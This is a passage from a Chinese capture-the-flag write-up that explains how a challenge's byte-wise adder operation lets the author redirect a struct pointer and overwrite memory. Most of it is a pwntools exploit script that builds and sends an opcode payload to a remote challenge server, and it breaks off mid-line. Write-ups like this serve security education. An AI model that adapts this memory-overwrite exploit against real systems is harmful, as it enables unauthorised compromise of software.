<p>重点在这里的操作 4，实现了一个 1 位可进位全加器，通过这个操作 4 可以按字节给某个地址加数。虽然程序原先的功能里，无法写到 <code class="inline-code">0x4097</code> 处，但是可以写到结构体指针 <code class="inline-code">*reg</code>，于是思路如下：</p>
<ol>
<li>修改 <code class="inline-code">*reg</code> 到 <code class="inline-code">0x4097</code></li>
<li>写 <code class="inline-code">0x4097</code> 为 <code class="inline-code">$rebase(0x4097) - 0xdeadbeef</code>，这里可以按字节写。</li>
</ol>
<p>exp:</p>
<div class="code-snippet"><pre class="code-snippet__pre"><code class="language-python language-python"><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">from</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> pwn </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">import</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492"> *</span><br><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">from</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> sys </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">import</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> argv</span><br><br><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">proc </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">=</span><span style="--shiki-light:#032563;--shiki-dark:#ADDCFF"> "./pwn2"</span><br><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">context.log_level </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">=</span><span style="--shiki-light:#032563;--shiki-dark:#ADDCFF"> "debug"</span><br><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">context.binary </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">=</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> proc</span><br><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">elf </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">=</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> ELF</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">(</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">proc, </span><span style="--shiki-light:#702C00;--shiki-dark:#FFB757">checksec</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">=</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">False</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">)</span><br><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">io </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">=</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> remote</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">(</span><span style="--shiki-light:#032563;--shiki-dark:#ADDCFF">"39.106.16.204"</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">, </span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">13242</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">)</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">if</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> argv</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">[</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">1</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">]</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">==</span><span style="--shiki-light:#032563;--shiki-dark:#ADDCFF"> 'r'</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492"> else</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> process</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">(</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">proc</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">)</span><br><br><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">if</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> args.G:</span><br><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">    gdb.attach</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">(</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">io, </span><span style="--shiki-light:#032563;--shiki-dark:#ADDCFF">"""</span><br><span style="--shiki-light:#032563;--shiki-dark:#ADDCFF">    decompiler connect ida --host 127.0.0.1 --port 3662</span><br><span style="--shiki-light:#032563;--shiki-dark:#ADDCFF">    breakrva 0x0173A</span><br><span style="--shiki-light:#032563;--shiki-dark:#ADDCFF">    """</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">)</span><br><br><br><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">def</span><span style="--shiki-light:#622CBC;--shiki-dark:#DBB7FF"> gen_code</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">(</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">op, val1, flag, val2</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">)</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">:</span><br><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">    return</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> p8</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">(</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">op</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">)</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">+</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> p8</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">(</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">val1</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">)</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">+</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> p8</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">(</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">flag</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">)</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">+</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> p8</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">(</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">val2</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">)</span><br><br><br><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">def</span><span style="--shiki-light:#622CBC;--shiki-dark:#DBB7FF"> xor</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">(</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">val1, flag, val2</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">)</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">:</span><br><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">    return</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> gen_code</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">(</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">1</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">, val1, flag, val2</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">)</span><br><br><br><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">def</span><span style="--shiki-light:#622CBC;--shiki-dark:#DBB7FF"> _and</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">(</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">val1, flag, val2</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">)</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">:</span><br><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">    return</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> gen_code</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">(</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">2</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">, val1, flag, val2</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">)</span><br><br><br><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">def</span><span style="--shiki-light:#622CBC;--shiki-dark:#DBB7FF"> _or</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">(</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">val1, flag, val2</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">)</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">:</span><br><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">    return</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> gen_code</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">(</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">3</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">, val1, flag, val2</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">)</span><br><br><br><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">def</span><span style="--shiki-light:#622CBC;--shiki-dark:#DBB7FF"> add</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">(</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">val1, flag, val2</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">)</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">:</span><br><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">    return</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> gen_code</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">(</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">4</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">, val1, flag, val2</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">)</span><br><br><br><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">payload </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">=</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492"> b</span><span style="--shiki-light:#032563;--shiki-dark:#ADDCFF">""</span><br><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">payload </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">+=</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> _or</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">(</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">0x</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">1f</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492"> *</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF"> 8</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492"> +</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF"> 4</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">, </span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">1</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">, </span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">1</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">)</span><br><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">payload </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">+=</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> add</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">(</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">0x</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">f</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492"> *</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF"> 8</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492"> +</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF"> 0</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">, </span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">1</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">, </span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">1</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">)</span><br><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">payload </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">+=</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> _or</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">(</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">0x</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">e</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492"> *</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF"> 8</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492"> +</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF"> 1</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">, </span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">1</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">, </span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">1</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">)</span><br><br><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">for</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> i </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">in</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF"> range</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">(</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">6</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">)</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">:</span><br><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">    for</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> j </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">in</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF"> range</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">(</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">8</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">)</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">:</span><br><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">        payload </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">+=</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> _or</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">(</span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">(</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">0x</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">18</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492"> +</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> i</span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">)</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">*</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF"> 8</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492"> +</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> j, </span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">0</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">, </span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">(</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">0x</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">c</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492"> +</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> i</span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">)</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">*</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF"> 8</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492"> +</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> j</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">)</span><br><br><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">src </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">=</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> </span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">[</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">0x</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">7f</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">, </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">0x</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">b0</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">, </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">0x</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">68</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">, </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">0x</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">9f</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">, </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">0x</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">e4</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">]</span><br><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">target </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">=</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> </span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">[</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">0x</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">a8</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">, </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">0x</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">f1</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">, </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">0x</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">ba</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">, </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">0x</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">c0</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">, </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">0x</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">e3</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492"> +</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492"> 0x</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">100</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">]</span><br><br><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">for</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> i </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">in</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF"> range</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">(</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">5</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">)</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">:</span><br><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">    payload </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">+=</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> _and</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">(</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">0</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">, </span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">1</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">, </span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">0</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">)</span><br><span style="--shiki-light:#66707B;--shiki-dark:#BDC4CC">    # for j in range(src[i], target[i]):</span><br><span style="--shiki-light:#66707B;--shiki-dark:#BDC4CC">    #     payload += _and(0, 1, 0)</span><br><span style="--shiki-light:#66707B;--shiki-dark:#BDC4CC">    #     payload += add((0x18 + i) * 8 + 0, 1, 1)</span><br><span style="--shiki-light:#66707B;--shiki-dark:#BDC4CC">    #     for k in range(1, 7):</span><br><span style="--shiki-light:#66707B;--shiki-dark:#BDC4CC">    #          payload += add((0x18 + i) * 8 + k, 1, 0)</span><br><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">    tmp </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">=</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> target</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">[</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">i</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">]</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">-</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> src</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">[</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">i</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">]</span><br><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">    s </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">=</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF"> bin</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">(</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">tmp</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">)</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">[</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">2</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">:</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">]</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">.rjust</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">(</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">8</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">, </span><span style="--shiki-light:#032563;--shiki-dark:#ADDCFF">"0"</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">)</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">[</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">::</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">-</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">1</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">]</span><br><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">    for</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> j </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">in</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF"> range</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">(</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">8</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">)</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">:</span><br><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">        if</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> s</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">[</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">j</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">]</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">==</span><span style="--shiki-light:#032563;--shiki-dark:#ADDCFF"> "0"</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">:</span><br><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">            payload </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">+=</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> add</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">(</span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">(</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">0x</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">18</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492"> +</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> i</span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">)</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">*</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF"> 8</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492"> +</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> j, </span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">1</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">, </span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">0</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">)</span><br><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">        elif</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> s</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">[</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">j</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">]</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">==</span><span style="--shiki-light:#032563;--shiki-dark:#ADDCFF"> "1"</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">:</span><br><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">            payload </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">+=</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> add</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">(</span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">(</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">0x</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">18</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492"> +</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> i</span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">)</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">*</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF"> 8</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492"> +</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> j, </span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">1</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">, </span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">1</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">)</span><br><br><br><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">io.sendlineafter</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">(</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">b</span><span style="--shiki-light:#032563;--shiki-dark:#ADDCFF">"Code Count:"</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">, </span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">str</span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">(</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">len</span><span style="--shiki-light:#744500;--shiki-dark:#f7c843">(</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">payload</span><span style="--shiki-light:#744500;--shiki-dark:#f7c843">)</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">//</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF"> 4</span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">)</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">.encode</span><span 